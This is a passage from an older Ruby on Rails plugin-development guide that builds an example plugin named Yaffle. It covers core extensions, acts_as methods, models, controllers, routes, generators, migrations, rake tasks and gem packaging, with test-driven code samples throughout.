-Loaded suite /opt/local/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake/rake_test_loader
-Started
-.
-Finished in 0.002236 seconds.
-
-1 test, 1 assertion, 0 failures, 0 errors
-
-

By default the setup above runs your tests with sqlite or sqlite3. To run tests with one of the other connection strings specified in database.yml, pass the DB environment variable to rake:

-
-
-
rake DB=sqlite
-rake DB=sqlite3
-rake DB=mysql
-rake DB=postgresql
-
-

Now you are ready to test-drive your plugin!

-
-

3. Extending core classes

-
-

This section will explain how to add a method to String that will be available anywhere in your rails app.

-

In this example you will add a method to String named to_squawk. To begin, create a new test file with a few assertions:

-

vendor/plugins/yaffle/test/core_ext_test.rb

-
-
-
require File.dirname(__FILE__) + '/test_helper.rb'
-
-class CoreExtTest < Test::Unit::TestCase
-  def test_to_squawk_prepends_the_word_squawk
-    assert_equal "squawk! Hello World", "Hello World".to_squawk
-  end
-end
-

Navigate to your plugin directory and run rake test:

-
-
-
cd vendor/plugins/yaffle
-rake test
-
-

The test above should fail with the message:

-
-
-
 1) Error:
-test_to_squawk_prepends_the_word_squawk(CoreExtTest):
-NoMethodError: undefined method `to_squawk' for "Hello World":String
-    ./test/core_ext_test.rb:5:in `test_to_squawk_prepends_the_word_squawk'
-
-

Great - now you are ready to start development.

-

Then in lib/yaffle.rb require lib/core_ext.rb:

-

vendor/plugins/yaffle/lib/yaffle.rb

-
-
-
require "yaffle/core_ext"
-

Finally, create the core_ext.rb file and add the to_squawk method:

-

vendor/plugins/yaffle/lib/yaffle/core_ext.rb

-
-
-
String.class_eval do
-  def to_squawk
-    "squawk! #{self}".strip
-  end
-end
-

To test that your method does what it says it does, run the unit tests with rake from your plugin directory. To see this in action, fire up a console and start squawking:

-
-
-
$ ./script/console
->> "Hello World".to_squawk
-=> "squawk! Hello World"
-
-

3.1. Working with init.rb

-

When rails loads plugins it looks for the file named init.rb or rails/init.rb. However, when the plugin is initialized, init.rb is invoked via eval (not require) so it has slightly different behavior.

-

Under certain circumstances if you reopen classes or modules in init.rb you may inadvertently create a new class, rather than reopening an existing class. A better alternative is to reopen the class in a different file, and require that file from init.rb, as shown above.

-

If you must reopen a class in init.rb you can use module_eval or class_eval to avoid any issues:

-

vendor/plugins/yaffle/rails/init.rb

-
-
-
Hash.class_eval do
-  def is_a_special_hash?
-    true
-  end
-end
-

Another way is to explicitly define the top-level module space for all modules and classes, like ::Hash:

-

vendor/plugins/yaffle/rails/init.rb

-
-
-
class ::Hash
-  def is_a_special_hash?
-    true
-  end
-end
-
-

4. Add an acts_as method to Active Record

-
-

A common pattern in plugins is to add a method called acts_as_something to models. In this case, you want to write a method called acts_as_yaffle that adds a squawk method to your models.

-

To begin, set up your files so that you have:

-

vendor/plugins/yaffle/test/acts_as_yaffle_test.rb

-
-
-
require File.dirname(__FILE__) + '/test_helper.rb'
-
-class ActsAsYaffleTest < Test::Unit::TestCase
-end
-

vendor/plugins/yaffle/lib/yaffle.rb

-
-
-
require 'yaffle/acts_as_yaffle'
-

vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb

-
-
-
module Yaffle
-  # your code will go here
-end
-

Note that after requiring acts_as_yaffle you also have to include it into ActiveRecord::Base so that your plugin methods will be available to the rails models.

-

One of the most common plugin patterns for acts_as_yaffle plugins is to structure your file like so:

-

vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb

-
-
-
module Yaffle
-  def self.included(base)
-    base.send :extend, ClassMethods
-  end
-
-  module ClassMethods
-    # any method placed here will apply to classes, like Hickwall
-    def acts_as_something
-      send :include, InstanceMethods
-    end
-  end
-
-  module InstanceMethods
-    # any method placed here will apply to instaces, like @hickwall
-  end
-end
-

With structure you can easily separate the methods that will be used for the class (like Hickwall.some_method) and the instance (like @hickwell.some_method).

-

4.1. Add a class method

-

This plugin will expect that you’ve added a method to your model named last_squawk. However, the plugin users might have already defined a method on their model named last_squawk that they use for something else. This plugin will allow the name to be changed by adding a class method called yaffle_text_field.

-

To start out, write a failing test that shows the behavior you’d like:

-

vendor/plugins/yaffle/test/acts_as_yaffle_test.rb

-
-
-
require File.dirname(__FILE__) + '/test_helper.rb'
-
-class Hickwall < ActiveRecord::Base
-  acts_as_yaffle
-end
-
-class Wickwall < ActiveRecord::Base
-  acts_as_yaffle :yaffle_text_field => :last_tweet
-end
-
-class ActsAsYaffleTest < Test::Unit::TestCase
-  load_schema
-
-  def test_a_hickwalls_yaffle_text_field_should_be_last_squawk
-    assert_equal "last_squawk", Hickwall.yaffle_text_field
-  end
-
-  def test_a_wickwalls_yaffle_text_field_should_be_last_tweet
-    assert_equal "last_tweet", Wickwall.yaffle_text_field
-  end
-end
-

To make these tests pass, you could modify your acts_as_yaffle file like so:

-

vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb

-
-
-
module Yaffle
-  def self.included(base)
-    base.send :extend, ClassMethods
-  end
-
-  module ClassMethods
-    def acts_as_yaffle(options = {})
-      cattr_accessor :yaffle_text_field
-      self.yaffle_text_field = (options[:yaffle_text_field] || :last_squawk).to_s
-    end
-  end
-end
-
-ActiveRecord::Base.send :include, Yaffle
-

4.2. Add an instance method

-

This plugin will add a method named squawk to any Active Record objects that call acts_as_yaffle. The squawk method will simply set the value of one of the fields in the database.

-

To start out, write a failing test that shows the behavior you’d like:

-

vendor/plugins/yaffle/test/acts_as_yaffle_test.rb

-
-
-
require File.dirname(__FILE__) + '/test_helper.rb'
-
-class Hickwall < ActiveRecord::Base
-  acts_as_yaffle
-end
-
-class Wickwall < ActiveRecord::Base
-  acts_as_yaffle :yaffle_text_field => :last_tweet
-end
-
-class ActsAsYaffleTest < Test::Unit::TestCase
-  load_schema
-
-  def test_a_hickwalls_yaffle_text_field_should_be_last_squawk
-    assert_equal "last_squawk", Hickwall.yaffle_text_field
-  end
-
-  def test_a_wickwalls_yaffle_text_field_should_be_last_tweet
-    assert_equal "last_tweet", Wickwall.yaffle_text_field
-  end
-
-  def test_hickwalls_squawk_should_populate_last_squawk
-    hickwall = Hickwall.new
-    hickwall.squawk("Hello World")
-    assert_equal "squawk! Hello World", hickwall.last_squawk
-  end
-
-  def test_wickwalls_squawk_should_populate_last_tweeted_at
-    wickwall = Wickwall.new
-    wickwall.squawk("Hello World")
-    assert_equal "squawk! Hello World", wickwall.last_tweet
-  end
-end
-

Run this test to make sure the last two tests fail, then update acts_as_yaffle.rb to look like this:

-

vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb

-
-
-
module Yaffle
-  def self.included(base)
-    base.send :extend, ClassMethods
-  end
-
-  module ClassMethods
-    def acts_as_yaffle(options = {})
-      cattr_accessor :yaffle_text_field
-      self.yaffle_text_field = (options[:yaffle_text_field] || :last_squawk).to_s
-      send :include, InstanceMethods
-    end
-  end
-
-  module InstanceMethods
-    def squawk(string)
-      write_attribute(self.class.yaffle_text_field, string.to_squawk)
-    end
-  end
-end
-
-ActiveRecord::Base.send :include, Yaffle
-
- - - -
-Note - -
Editor’s note:
The use of write_attribute to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use. For example, you could also use send("#{self.class.yaffle_text_field}=", string.to_squawk).
-
-
-

5. Models

-
-

This section describes how to add a model named Woodpecker to your plugin that will behave the same as a model in your main app. When storing models, controllers, views and helpers in your plugin, it’s customary to keep them in directories that match the rails directories. For this example, create a file structure like this:

-
-
-
vendor/plugins/yaffle/
-|-- lib
-|   |-- app
-|   |   |-- controllers
-|   |   |-- helpers
-|   |   |-- models
-|   |   |   `-- woodpecker.rb
-|   |   `-- views
-|   |-- yaffle
-|   |   |-- acts_as_yaffle.rb
-|   |   |-- commands.rb
-|   |   `-- core_ext.rb
-|   `-- yaffle.rb
-
-

As always, start with a test:

-

vendor/plugins/yaffle/test/woodpecker_test.rb:

-
-
-
require File.dirname(__FILE__) + '/test_helper.rb'
-
-class WoodpeckerTest < Test::Unit::TestCase
-  load_schema
-
-  def test_woodpecker
-    assert_kind_of Woodpecker, Woodpecker.new
-  end
-end
-

This is just a simple test to make sure the class is being loaded correctly. After watching it fail with rake, you can make it pass like so:

-

vendor/plugins/yaffle/lib/yaffle.rb:

-
-
-
%w{ models }.each do |dir|
-  path = File.join(File.dirname(__FILE__), 'app', dir)
-  $LOAD_PATH << path
-  ActiveSupport::Dependencies.load_paths << path
-  ActiveSupport::Dependencies.load_once_paths.delete(path)
-end
-

Adding directories to the load path makes them appear just like files in the the main app directory - except that they are only loaded once, so you have to restart the web server to see the changes in the browser. Removing directories from the load_once_paths allow those changes to picked up as soon as you save the file - without having to restart the web server. This is particularly useful as you develop the plugin.

-

vendor/plugins/yaffle/lib/app/models/woodpecker.rb:

-
-
-
class Woodpecker < ActiveRecord::Base
-end
-

Finally, add the following to your plugin’s schema.rb:

-

vendor/plugins/yaffle/test/schema.rb:

-
-
-
create_table :woodpeckers, :force => true do |t|
-  t.string :name
-end
-

Now your test should be passing, and you should be able to use the Woodpecker model from within your rails app, and any changes made to it are reflected immediately when running in development mode.

-
-

6. Controllers

-
-

This section describes how to add a controller named woodpeckers to your plugin that will behave the same as a controller in your main app. This is very similar to adding a model.

-

You can test your plugin’s controller as you would test any other controller:

-

vendor/plugins/yaffle/test/woodpeckers_controller_test.rb:

-
-
-
require File.dirname(__FILE__) + '/test_helper.rb'
-require 'woodpeckers_controller'
-require 'action_controller/test_process'
-
-class WoodpeckersController; def rescue_action(e) raise e end; end
-
-class WoodpeckersControllerTest < Test::Unit::TestCase
-  def setup
-    @controller = WoodpeckersController.new
-    @request = ActionController::TestRequest.new
-    @response = ActionController::TestResponse.new
-
-    ActionController::Routing::Routes.draw do |map|
-      map.resources :woodpeckers
-    end
-  end
-
-  def test_index
-    get :index
-    assert_response :success
-  end
-end
-

This is just a simple test to make sure the controller is being loaded correctly. After watching it fail with rake, you can make it pass like so:

-

vendor/plugins/yaffle/lib/yaffle.rb:

-
-
-
%w{ models controllers }.each do |dir|
-  path = File.join(File.dirname(__FILE__), 'app', dir)
-  $LOAD_PATH << path
-  ActiveSupport::Dependencies.load_paths << path
-  ActiveSupport::Dependencies.load_once_paths.delete(path)
-end
-

vendor/plugins/yaffle/lib/app/controllers/woodpeckers_controller.rb:

-
-
-
class WoodpeckersController < ActionController::Base
-
-  def index
-    render :text => "Squawk!"
-  end
-
-end
-

Now your test should be passing, and you should be able to use the Woodpeckers controller in your app. If you add a route for the woodpeckers controller you can start up your server and go to http://localhost:3000/woodpeckers to see your controller in action.

-
-

7. Helpers

-
-

This section describes how to add a helper named WoodpeckersHelper to your plugin that will behave the same as a helper in your main app. This is very similar to adding a model and a controller.

-

You can test your plugin’s helper as you would test any other helper:

-

vendor/plugins/yaffle/test/woodpeckers_helper_test.rb

-
-
-
require File.dirname(__FILE__) + '/test_helper.rb'
-include WoodpeckersHelper
-
-class WoodpeckersHelperTest < Test::Unit::TestCase
-  def test_tweet
-    assert_equal "Tweet! Hello", tweet("Hello")
-  end
-end
-

This is just a simple test to make sure the helper is being loaded correctly. After watching it fail with rake, you can make it pass like so:

-

vendor/plugins/yaffle/lib/yaffle.rb:

-
-
-
%w{ models controllers helpers }.each do |dir|
-  path = File.join(File.dirname(__FILE__), 'app', dir)
-  $LOAD_PATH << path
-  ActiveSupport::Dependencies.load_paths << path
-  ActiveSupport::Dependencies.load_once_paths.delete(path)
-end
-

vendor/plugins/yaffle/lib/app/helpers/woodpeckers_helper.rb:

-
-
-
module WoodpeckersHelper
-
-  def tweet(text)
-    "Tweet! #{text}"
-  end
-
-end
-

Now your test should be passing, and you should be able to use the Woodpeckers helper in your app.

-
-

8. Routes

-
-

In a standard routes.rb file you use routes like map.connect or map.resources. You can add your own custom routes from a plugin. This section will describe how to add a custom method called that can be called with map.yaffles.

-

Testing routes from plugins is slightly different from testing routes in a standard rails app. To begin, add a test like this:

-

vendor/plugins/yaffle/test/routing_test.rb

-
-
-
require "#{File.dirname(__FILE__)}/test_helper"
-
-class RoutingTest < Test::Unit::TestCase
-
-  def setup
-    ActionController::Routing::Routes.draw do |map|
-      map.yaffles
-    end
-  end
-
-  def test_yaffles_route
-    assert_recognition :get, "/yaffles", :controller => "yaffles_controller", :action => "index"
-  end
-
-  private
-
-    def assert_recognition(method, path, options)
-      result = ActionController::Routing::Routes.recognize_path(path, :method => method)
-      assert_equal options, result
-    end
-end
-

Once you see the tests fail by running rake, you can make them pass with:

-

vendor/plugins/yaffle/lib/yaffle.rb

-
-
-
require "yaffle/routing"
-

vendor/plugins/yaffle/lib/yaffle/routing.rb

-
-
-
module Yaffle #:nodoc:
-  module Routing #:nodoc:
-    module MapperExtensions
-      def yaffles
-        @set.add_route("/yaffles", {:controller => "yaffles_controller", :action => "index"})
-      end
-    end
-  end
-end
-
-ActionController::Routing::RouteSet::Mapper.send :include, Yaffle::Routing::MapperExtensions
-

config/routes.rb

-
-
-
ActionController::Routing::Routes.draw do |map|
-  map.yaffles
-end
-

You can also see if your routes work by running rake routes from your app directory.

-
-

9. Generators

-
-

Many plugins ship with generators. When you created the plugin above, you specified the --with-generator option, so you already have the generator stubs in vendor/plugins/yaffle/generators/yaffle.

-

Building generators is a complex topic unto itself and this section will cover one small aspect of generators: generating a simple text file.

-

9.1. Testing generators

-

Many rails plugin authors do not test their generators, however testing generators is quite simple. A typical generator test does the following:

-
    -
  • -

    -Creates a new fake rails root directory that will serve as destination -

    -
    • -
  • -

    -Runs the generator -

    -
    • -
  • -

    -Asserts that the correct files were generated -

    -
    • -
  • -

    -Removes the fake rails root -

    -
    • -
-

This section will describe how to create a simple generator that adds a file. For the generator in this section, the test could look something like this:

-

vendor/plugins/yaffle/test/definition_generator_test.rb

-
-
-
require File.dirname(__FILE__) + '/test_helper.rb'
-require 'rails_generator'
-require 'rails_generator/scripts/generate'
-
-class DefinitionGeneratorTest < Test::Unit::TestCase
-
-  def setup
-    FileUtils.mkdir_p(fake_rails_root)
-    @original_files = file_list
-  end
-
-  def teardown
-    FileUtils.rm_r(fake_rails_root)
-  end
-
-  def test_generates_correct_file_name
-    Rails::Generator::Scripts::Generate.new.run(["yaffle_definition"], :destination => fake_rails_root)
-    new_file = (file_list - @original_files).first
-    assert_equal "definition.txt", File.basename(new_file)
-  end
-
-  private
-
-    def fake_rails_root
-      File.join(File.dirname(__FILE__), 'rails_root')
-    end
-
-    def file_list
-      Dir.glob(File.join(fake_rails_root, "*"))
-    end
-
-end
-

You can run rake from the plugin directory to see this fail. Unless you are doing more advanced generator commands it typically suffices to just test the Generate script, and trust that rails will handle the Destroy and Update commands for you.

-

To make it pass, create the generator:

-

vendor/plugins/yaffle/generators/yaffle_definition/yaffle_definition_generator.rb

-
-
-
class YaffleDefinitionGenerator < Rails::Generator::Base
-  def manifest
-    record do |m|
-      m.file "definition.txt", "definition.txt"
-    end
-  end
-end
-

9.2. The USAGE file

-

If you plan to distribute your plugin, developers will expect at least a minimum of documentation. You can add simple documentation to the generator by updating the USAGE file.

-

Rails ships with several built-in generators. You can see all of the generators available to you by typing the following at the command line:

-
-
-
./script/generate
-
-

You should see something like this:

-
-
-
Installed Generators
-  Plugins (vendor/plugins): yaffle_definition
-  Builtin: controller, integration_test, mailer, migration, model, observer, plugin, resource, scaffold, session_migration
-
-

When you run script/generate yaffle_definition -h you should see the contents of your vendor/plugins/yaffle/generators/yaffle_definition/USAGE.

-

For this plugin, update the USAGE file could look like this:

-
-
-
Description:
-    Adds a file with the definition of a Yaffle to the app's main directory
-
-
-

10. Generator Commands

-
-

You may have noticed above that you can used one of the built-in rails migration commands migration_template. If your plugin needs to add and remove lines of text from existing files you will need to write your own generator methods.

-

This section describes how you you can create your own commands to add and remove a line of text from config/routes.rb.

-

To start, add the following test method:

-

vendor/plugins/yaffle/test/route_generator_test.rb

-
-
-
require File.dirname(__FILE__) + '/test_helper.rb'
-require 'rails_generator'
-require 'rails_generator/scripts/generate'
-require 'rails_generator/scripts/destroy'
-
-class RouteGeneratorTest < Test::Unit::TestCase
-
-  def setup
-    FileUtils.mkdir_p(File.join(fake_rails_root, "config"))
-  end
-
-  def teardown
-    FileUtils.rm_r(fake_rails_root)
-  end
-
-  def test_generates_route
-    content = <<-END
-      ActionController::Routing::Routes.draw do |map|
-        map.connect ':controller/:action/:id'
-        map.connect ':controller/:action/:id.:format'
-      end
-    END
-    File.open(routes_path, 'wb') {|f| f.write(content) }
-
-    Rails::Generator::Scripts::Generate.new.run(["yaffle_route"], :destination => fake_rails_root)
-    assert_match /map\.yaffles/, File.read(routes_path)
-  end
-
-  def test_destroys_route
-    content = <<-END
-      ActionController::Routing::Routes.draw do |map|
-        map.yaffles
-        map.connect ':controller/:action/:id'
-        map.connect ':controller/:action/:id.:format'
-      end
-    END
-    File.open(routes_path, 'wb') {|f| f.write(content) }
-
-    Rails::Generator::Scripts::Destroy.new.run(["yaffle_route"], :destination => fake_rails_root)
-    assert_no_match /map\.yaffles/, File.read(routes_path)
-  end
-
-  private
-
-    def fake_rails_root
-      File.join(File.dirname(__FILE__), "rails_root")
-    end
-
-    def routes_path
-      File.join(fake_rails_root, "config", "routes.rb")
-    end
-
-end
-

Run rake to watch the test fail, then make the test pass add the following:

-

vendor/plugins/yaffle/lib/yaffle.rb

-
-
-
require "yaffle/commands"
-

vendor/plugins/yaffle/lib/yaffle/commands.rb

-
-
-
require 'rails_generator'
-require 'rails_generator/commands'
-
-module Yaffle #:nodoc:
-  module Generator #:nodoc:
-    module Commands #:nodoc:
-      module Create
-        def yaffle_route
-          logger.route "map.yaffle"
-          look_for = 'ActionController::Routing::Routes.draw do |map|'
-          unless options[:pretend]
-            gsub_file('config/routes.rb', /(#{Regexp.escape(look_for)})/mi){|match| "#{match}\n  map.yaffles\n"}
-          end
-        end
-      end
-
-      module Destroy
-        def yaffle_route
-          logger.route "map.yaffle"
-          gsub_file 'config/routes.rb', /\n.+?map\.yaffles/mi, ''
-        end
-      end
-
-      module List
-        def yaffle_route
-        end
-      end
-
-      module Update
-        def yaffle_route
-        end
-      end
-    end
-  end
-end
-
-Rails::Generator::Commands::Create.send   :include,  Yaffle::Generator::Commands::Create
-Rails::Generator::Commands::Destroy.send  :include,  Yaffle::Generator::Commands::Destroy
-Rails::Generator::Commands::List.send     :include,  Yaffle::Generator::Commands::List
-Rails::Generator::Commands::Update.send   :include,  Yaffle::Generator::Commands::Update
-

vendor/plugins/yaffle/generators/yaffle_route/yaffle_route_generator.rb

-
-
-
class YaffleRouteGenerator < Rails::Generator::Base
-  def manifest
-    record do |m|
-      m.yaffle_route
-    end
-  end
-end
-

To see this work, type:

-
-
-
./script/generate yaffle_route
-./script/destroy yaffle_route
-
-
- - - -
-Note - -
Editor’s note:
If you haven’t set up the custom route from above, script/destroy will fail and you’ll have to remove it manually.
-
-
-

11. Migrations

-
-

If your plugin requires changes to the app’s database you will likely want to somehow add migrations. Rails does not include any built-in support for calling migrations from plugins, but you can still make it easy for developers to call migrations from plugins.

-

If you have a very simple needs, like creating a table that will always have the same name and columns, then you can use a more simple solution, like creating a custom rake task or method. If your migration needs user input to supply table names or other options, you probably want to opt for generating a migration.

-

Let’s say you have the following migration in your plugin:

-

vendor/plugins/yaffle/lib/db/migrate/20081116181115_create_birdhouses.rb:

-
-
-
class CreateBirdhouses < ActiveRecord::Migration
-  def self.up
-    create_table :birdhouses, :force => true do |t|
-      t.string :name
-      t.timestamps
-    end
-  end
-
-  def self.down
-    drop_table :birdhouses
-  end
-end
-

Here are a few possibilities for how to allow developers to use your plugin migrations:

-

11.1. Create a custom rake task

-

vendor/plugins/yaffle/tasks/yaffle_tasks.rake:

-
-
-
namespace :db do
-  namespace :migrate do
-    desc "Migrate the database through scripts in vendor/plugins/yaffle/lib/db/migrate and update db/schema.rb by invoking db:schema:dump. Target specific version with VERSION=x. Turn off output with VERBOSE=false."
-    task :yaffle => :environment do
-      ActiveRecord::Migration.verbose = ENV["VERBOSE"] ? ENV["VERBOSE"] == "true" : true
-      ActiveRecord::Migrator.migrate("vendor/plugins/yaffle/lib/db/migrate/", ENV["VERSION"] ? ENV["VERSION"].to_i : nil)
-      Rake::Task["db:schema:dump"].invoke if ActiveRecord::Base.schema_format == :ruby
-    end
-  end
-end
-

11.2. Call migrations directly

-

vendor/plugins/yaffle/lib/yaffle.rb:

-
-
-
Dir.glob(File.join(File.dirname(__FILE__), "db", "migrate", "*")).each do |file|
-  require file
-end
-

db/migrate/20081116181115_create_birdhouses.rb:

-
-
-
class CreateBirdhouses < ActiveRecord::Migration
-  def self.up
-    Yaffle::CreateBirdhouses.up
-  end
-
-  def self.down
-    Yaffle::CreateBirdhouses.down
-  end
-end
-
- - - -
-Note - -
Editor’s note:
several plugin frameworks such as Desert and Engines provide more advanced plugin functionality.
-
-

11.3. Generate migrations

-

Generating migrations has several advantages over other methods. Namely, you can allow other developers to more easily customize the migration. The flow looks like this:

-
    -
  • -

    -call your script/generate script and pass in whatever options they need -

    -
    • -
  • -

    -examine the generated migration, adding/removing columns or other options as necessary -

    -
    • -
-

This example will demonstrate how to use one of the built-in generator methods named migration_template to create a migration file. Extending the rails migration generator requires a somewhat intimate knowledge of the migration generator internals, so it’s best to write a test first:

-

vendor/plugins/yaffle/test/yaffle_migration_generator_test.rb

-
-
-
require File.dirname(__FILE__) + '/test_helper.rb'
-require 'rails_generator'
-require 'rails_generator/scripts/generate'
-
-class MigrationGeneratorTest < Test::Unit::TestCase
-
-  def setup
-    FileUtils.mkdir_p(fake_rails_root)
-    @original_files = file_list
-  end
-
-  def teardown
-    ActiveRecord::Base.pluralize_table_names = true
-    FileUtils.rm_r(fake_rails_root)
-  end
-
-  def test_generates_correct_file_name
-    Rails::Generator::Scripts::Generate.new.run(["yaffle_migration", "some_name_nobody_is_likely_to_ever_use_in_a_real_migration"], :destination => fake_rails_root)
-    new_file = (file_list - @original_files).first
-    assert_match /add_yaffle_fields_to_some_name_nobody_is_likely_to_ever_use_in_a_real_migrations/, new_file
-    assert_match /add_column :some_name_nobody_is_likely_to_ever_use_in_a_real_migrations do |t|/, File.read(new_file)
-  end
-
-  def test_pluralizes_properly
-    ActiveRecord::Base.pluralize_table_names = false
-    Rails::Generator::Scripts::Generate.new.run(["yaffle_migration", "some_name_nobody_is_likely_to_ever_use_in_a_real_migration"], :destination => fake_rails_root)
-    new_file = (file_list - @original_files).first
-    assert_match /add_yaffle_fields_to_some_name_nobody_is_likely_to_ever_use_in_a_real_migration/, new_file
-    assert_match /add_column :some_name_nobody_is_likely_to_ever_use_in_a_real_migration do |t|/, File.read(new_file)
-  end
-
-  private
-    def fake_rails_root
-      File.join(File.dirname(__FILE__), 'rails_root')
-    end
-
-    def file_list
-      Dir.glob(File.join(fake_rails_root, "db", "migrate", "*"))
-    end
-
-end
-
- - - -
-Note - -
Editor’s note:
the migration generator checks to see if a migation already exists, and it’s hard-coded to check the db/migrate directory. As a result, if your test tries to generate a migration that already exists in the app, it will fail. The easy workaround is to make sure that the name you generate in your test is very unlikely to actually appear in the app.
-
-

After running the test with rake you can make it pass with:

-

vendor/plugins/yaffle/generators/yaffle_migration/yaffle_migration_generator.rb

-
-
-
class YaffleMigrationGenerator < Rails::Generator::NamedBase
-  def manifest
-    record do |m|
-      m.migration_template 'migration:migration.rb', "db/migrate", {:assigns => yaffle_local_assigns,
-        :migration_file_name => "add_yaffle_fields_to_#{custom_file_name}"
-      }
-    end
-  end
-
-  private
-    def custom_file_name
-      custom_name = class_name.underscore.downcase
-      custom_name = custom_name.pluralize if ActiveRecord::Base.pluralize_table_names
-      custom_name
-    end
-
-    def yaffle_local_assigns
-      returning(assigns = {}) do
-        assigns[:migration_action] = "add"
-        assigns[:class_name] = "add_yaffle_fields_to_#{custom_file_name}"
-        assigns[:table_name] = custom_file_name
-        assigns[:attributes] = [Rails::Generator::GeneratedAttribute.new("last_squawk", "string")]
-      end
-    end
-end
-

The generator creates a new file in db/migrate with a timestamp and an add_column statement. It reuses the built in rails migration_template method, and reuses the built-in rails migration template.

-

It’s courteous to check to see if table names are being pluralized whenever you create a generator that needs to be aware of table names. This way people using your generator won’t have to manually change the generated files if they’ve turned pluralization off.

-

To run the generator, type the following at the command line:

-
-
-
./script/generate yaffle_migration bird
-
-

and you will see a new file:

-

db/migrate/20080529225649_add_yaffle_fields_to_birds.rb

-
-
-
class AddYaffleFieldsToBirds < ActiveRecord::Migration
-  def self.up
-    add_column :birds, :last_squawk, :string
-  end
-
-  def self.down
-    remove_column :birds, :last_squawk
-  end
-end
-
-

12. Rake tasks

-
-

When you created the plugin with the built-in rails generator, it generated a rake file for you in vendor/plugins/yaffle/tasks/yaffle_tasks.rake. Any rake task you add here will be available to the app.

-

Many plugin authors put all of their rake tasks into a common namespace that is the same as the plugin, like so:

-

vendor/plugins/yaffle/tasks/yaffle_tasks.rake

-
-
-
namespace :yaffle do
-  desc "Prints out the word 'Yaffle'"
-  task :squawk => :environment do
-    puts "squawk!"
-  end
-end
-

When you run rake -T from your plugin you will see:

-
-
-
yaffle:squawk             # Prints out the word 'Yaffle'
-
-

You can add as many files as you want in the tasks directory, and if they end in .rake Rails will pick them up.

-

Note that tasks from vendor/plugins/yaffle/Rakefile are not available to the main app.

-
-

13. PluginGems

-
-

Turning your rails plugin into a gem is a simple and straightforward task. This section will cover how to turn your plugin into a gem. It will not cover how to distribute that gem.

-

Historically rails plugins loaded the plugin’s init.rb file. In fact some plugins contain all of their code in that one file. To be compatible with plugins, init.rb was moved to rails/init.rb.

-

It’s common practice to put any developer-centric rake tasks (such as tests, rdoc and gem package tasks) in Rakefile. A rake task that packages the gem might look like this:

-

vendor/plugins/yaffle/Rakefile:

-
-
-
PKG_FILES = FileList[
-  '[a-zA-Z]*',
-  'generators/**/*',
-  'lib/**/*',
-  'rails/**/*',
-  'tasks/**/*',
-  'test/**/*'
-]
-
-spec = Gem::Specification.new do |s|
-  s.name = "yaffle"
-  s.version = "0.0.1"
-  s.author = "Gleeful Yaffler"
-  s.email = "yaffle@example.com"
-  s.homepage = "http://yafflers.example.com/"
-  s.platform = Gem::Platform::RUBY
-  s.summary = "Sharing Yaffle Goodness"
-  s.files = PKG_FILES.to_a
-  s.require_path = "lib"
-  s.has_rdoc = false
-  s.extra_rdoc_files = ["README"]
-end
-
-desc 'Turn this plugin into a gem.'
-Rake::GemPackageTask.new(spec) do |pkg|
-  pkg.gem_spec = spec
-end
-

To build and install the gem locally, run the following commands:

-
-
-
cd vendor/plugins/yaffle
-rake gem
-sudo gem install pkg/yaffle-0.0.1.gem
-
-

To test this, create a new rails app, add config.gem "yaffle" to environment.rb and all of your plugin’s functionality will be available to you.

-
-

14. RDoc Documentation

-
-

Once your plugin is stable and you are ready to deploy do everyone else a favor and document it! Luckily, writing documentation for your plugin is easy.

-

The first step is to update the README file with detailed information about how to use your plugin. A few key things to include are:

-
    -
  • -

    -Your name -

    -
    • -
  • -

    -How to install -

    -
    • -
  • -

    -How to add the functionality to the app (several examples of common use cases) -

    -
    • -
  • -

    -Warning, gotchas or tips that might help save users time -

    -
    • -
-

Once your README is solid, go through and add rdoc comments to all of the methods that developers will use. It’s also customary to add #:nodoc: comments to those parts of the code that are not part of the public api.

-

Once your comments are good to go, navigate to your plugin directory and run:

-
-
-
rake rdoc
-
-
-

15. Appendix

-
-

If you prefer to use RSpec instead of Test::Unit, you may be interested in the RSpec Plugin Generator.

-

15.1. References

-
-

15.2. Contents of lib/yaffle.rb

-

vendor/plugins/yaffle/lib/yaffle.rb:

-
-
-
require "yaffle/core_ext"
-require "yaffle/acts_as_yaffle"
-require "yaffle/commands"
-require "yaffle/routing"
-
-%w{ models controllers helpers }.each do |dir|
-  path = File.join(File.dirname(__FILE__), 'app', dir)
-  $LOAD_PATH << path
-  ActiveSupport::Dependencies.load_paths << path
-  ActiveSupport::Dependencies.load_once_paths.delete(path)
-end
-
-# optionally:
-# Dir.glob(File.join(File.dirname(__FILE__), "db", "migrate", "*")).each do |file|
-#   require file
-# end
-
-

15.3. Final plugin directory structure

-

The final plugin should have a directory structure that looks something like this:

-
-
-
|-- MIT-LICENSE
-|-- README
-|-- Rakefile
-|-- generators
-|   |-- yaffle_definition
-|   |   |-- USAGE
-|   |   |-- templates
-|   |   |   `-- definition.txt
-|   |   `-- yaffle_definition_generator.rb
-|   |-- yaffle_migration
-|   |   |-- USAGE
-|   |   |-- templates
-|   |   `-- yaffle_migration_generator.rb
-|   `-- yaffle_route
-|       |-- USAGE
-|       |-- templates
-|       `-- yaffle_route_generator.rb
-|-- install.rb
-|-- lib
-|   |-- app
-|   |   |-- controllers
-|   |   |   `-- woodpeckers_controller.rb
-|   |   |-- helpers
-|   |   |   `-- woodpeckers_helper.rb
-|   |   `-- models
-|   |       `-- woodpecker.rb
-|   |-- db
-|   |   `-- migrate
-|   |       `-- 20081116181115_create_birdhouses.rb
-|   |-- yaffle
-|   |   |-- acts_as_yaffle.rb
-|   |   |-- commands.rb
-|   |   |-- core_ext.rb
-|   |   `-- routing.rb
-|   `-- yaffle.rb
-|-- pkg
-|   `-- yaffle-0.0.1.gem
-|-- rails
-|   `-- init.rb
-|-- tasks
-|   `-- yaffle_tasks.rake
-|-- test
-|   |-- acts_as_yaffle_test.rb
-|   |-- core_ext_test.rb
-|   |-- database.yml
-|   |-- debug.log
-|   |-- definition_generator_test.rb
-|   |-- migration_generator_test.rb
-|   |-- route_generator_test.rb
-|   |-- routes_test.rb
-|   |-- schema.rb
-|   |-- test_helper.rb
-|   |-- woodpecker_test.rb
-|   |-- woodpeckers_controller_test.rb
-|   |-- wookpeckers_helper_test.rb
-|   |-- yaffle_plugin.sqlite3.db
-|   `-- yaffle_test.rb
-`-- uninstall.rb
-
-
- -
-
